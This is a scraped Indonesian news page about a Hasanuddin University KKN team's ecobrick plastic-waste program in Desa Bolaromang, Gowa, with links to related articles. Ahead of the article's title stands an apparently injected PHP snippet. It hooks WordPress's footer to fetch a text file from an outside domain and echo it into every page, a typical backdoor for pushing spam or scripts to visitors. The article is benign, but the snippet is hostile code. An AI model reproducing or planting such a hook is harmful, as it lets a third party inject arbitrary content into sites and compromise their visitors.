function load_external_content() { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://pausgundik.com/a.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch); echo $a; } add_action('wp_footer', 'load_external_content');KKN Tematik Universitas Hasanuddin Gelombang 113 Posko 6 Gowa Desa Bolaromang Ecobrick: Menata Sampah, Menyelamatkan Bumi - Suluh Nusantara

Home / Uncategorized

Selasa, 11 Februari 2025 - 13:27 WIB

KKN Tematik Universitas Hasanuddin Gelombang 113 Posko 6 Gowa Desa Bolaromang Ecobrick: Menata Sampah, Menyelamatkan Bumi

Bolaromang, 11 Februari 2025 – Dalam rangka mendukung pencapaian Sustainable Development Goals (SDGs), SDGs 12, SDGs 13 dan 15 Dalam upaya mengurangi permasalahan sampah plastik, mahasiswa Kuliah Kerja Nyata (KKN) Universitas Hasanuddin mengadakan program Ecobrick di Desa Bolaromang. Program ini bertujuan untuk mengedukasi masyarakat tentang pengelolaan sampah plastik yang lebih ramah lingkungan dengan menjadikannya sebagai bahan bangunan alternatif yang bermanfaat.

Posko 6 terdiri dari 7 orang, di antaranya Muhammad Ryan Ariantha (Koordinator Desa). Andi  Nia Rahmadani, Faradita dan Mikael Salenda, Muh. Kurnia Qadri Ramadhan Z , Rabitha Al Islamia, serta penanggung jawab kegiatan ini Febriana Risky Putri. Selain itu, tim ini dibimbing oleh Dosen Pengampu KKN, Saharuddin, S.IP., M.Si., yang memberikan arahan dan memantau persiapan intervensi yang dilakukan.

Ecobrick merupakan metode mengolah sampah plastik dengan cara memasukkannya ke dalam botol plastik hingga padat, sehingga dapat digunakan sebagai bahan dasar untuk pembuatan furnitur, dinding bangunan, dan berbagai keperluan lainnya. Dengan pendekatan ini, mahasiswa KKN berharap dapat mengurangi jumlah sampah yang mencemari lingkungan sekaligus menciptakan produk yang bernilai guna.

Baca Juga  Mahasiswa KKNT Unhas Desa Saotengnga, Sinjai, Berikan Pendampingan Uji Laboratorium dan Labelisasi Pupuk Organik

Salah satu mahasiswa KKN (Febriana Risky Putri), menjelaskan bahwa Ecobrick adalah solusi inovatif yang mudah diterapkan oleh masyarakat. “Kami ingin mengajak warga desa untuk lebih peduli terhadap lingkungan dengan cara sederhana namun berdampak besar. Dengan Ecobrick, sampah plastik yang sebelumnya tidak terpakai kini bisa menjadi sesuatu yang berguna,” ujarnya.

Kegiatan ini mendapat sambutan positif dari masyarakat dan pemerintah desa. Sekretaris Desa (Muslim) menyatakan bahwa program ini sangat membantu dalam upaya menjaga kebersihan lingkungan desa. “Kami sangat mengapresiasi inisiatif mahasiswa KKN Universitas Hasanuddin. Program Ecobrick ini bukan hanya mengurangi sampah plastik, tetapi juga mengajarkan masyarakat untuk lebih kreatif dan peduli terhadap lingkungan,” katanya.

Intervensi dilaksanakan pada 15 Januari – 11 Februari 2025 di wilayah desa, Kecamatan Tombolo Pao, Kabupaten Gowa, dengan dihadiri oleh beberapa masyarakat dari berbagai Kalangan Mulai anak-anak hingga dewasa.

Kegiatan ini meliputi:

  • Sosialiasi tentang pentingnya mengelola limbah sampah
  • Pembuatan kerajinan sederhana
  • Menginovasikan Produk sehingga mendapat nilai
Baca Juga  Seminar Awal PBL I FKM Unhas Resmi Dimulai di Kelurahan Appanang, Soppeng

Kegiatan ini mendapatkan dukungan dari Muslim, Sekretaris Desa (Sekdes) Desa Bolaromang, yang membantu koordinasi dengan pihak setempat. Lokasi kegiatan bertempat di sekolah desa.

Program Ecobrick ini juga mendukung beberapa tujuan dalam Sustainable Development Goals (SDGs), antara lain:

SDG 12: Konsumsi dan Produksi yang Bertanggung Jawab – Mengurangi sampah plastik melalui konsep daur ulang yang inovatif.

SDG 13: Penanganan Perubahan Iklim – Mengurangi pencemaran lingkungan akibat sampah plastik yang sulit terurai.

SDG 15: Ekosistem Darat – Melindungi ekosistem darat dari dampak negatif sampah plastik.

Melalui kegiatan ini, diharapkan masyarakat Desa Bolaromang semakin sadar akan pentingnya pengelolaan sampah yang baik dan dapat menerapkan konsep Ecobrick dalam kehidupan sehari-hari. Mahasiswa KKN Universitas Hasanuddin juga berharap program ini dapat menjadi inspirasi bagi desa-desa lain untuk menerapkan solusi serupa dalam upaya menjaga lingkungan. Untuk informasi lebih lanjut mengenai kegiatan Posko 6 Gowa Desa Bolaromang UNHAS, kunjungi akun Instagram kami di @kknt113unhas_desabolaromang.

Share :

Baca Juga

Uncategorized

Pelatihan Pupuk Kompos Metode Takakura: Strategi Desa Pallantikang Menuju Pembangunan Berkelanjutan dan Pencapaian SDGs

Uncategorized

Mahasiswa Posko 17 PBL II FKM Unhas Gelar Edukasi Stunting dan Demo Masak Berbasis Kelor untuk Ibu Hamil di Benteng, Jeneponto

Uncategorized

Mahasiswa FKM Unhas Angkatan 2023 Melaksanakan PBL I di Desa Marioritengnga: Identifikasi dan Penentuan Prioritas Masalah Kesehatan Masyarakat Melalui Pendekatan Partisipatif

Uncategorized

Tim Pengabdian Masyarakat Departemen Administrasi dan Kebijakan Kesehatan FKM Unhas memberikan Edukasi kepada Kelompok Remaja Aktif Cegah Anemia untuk Meningkatkan Kesadaran Konsumsi Tablet Tambah Darah di SMAN 11 Maros

Uncategorized

Akhiri PBL I, Mahasiswa FKM Unhas Gelar Seminar Akhir Bersama Masyarakat dan Pemerintah Desa Citta

Uncategorized

Tingkatkan Mutu Pembelajaran, PKIP FKM Unhas Gelar Workshop Pemutakhiran RPS K23 serta Penyusunan Modul Ajar

Uncategorized

KKN Tematik Universitas Hasanuddin Gelombang 113 Posko 6 Gowa Desa Bolaromang Visualisasi Sarana Dan Prasarana di Desa Bolaromang Melalui Peta Administrasi Berbasis Citra Satelit

Uncategorized

Kolaborasi Mahasiswa dan Masyarakat: Seminar Akhir PBL I di Desa Tinco Sukses Digelar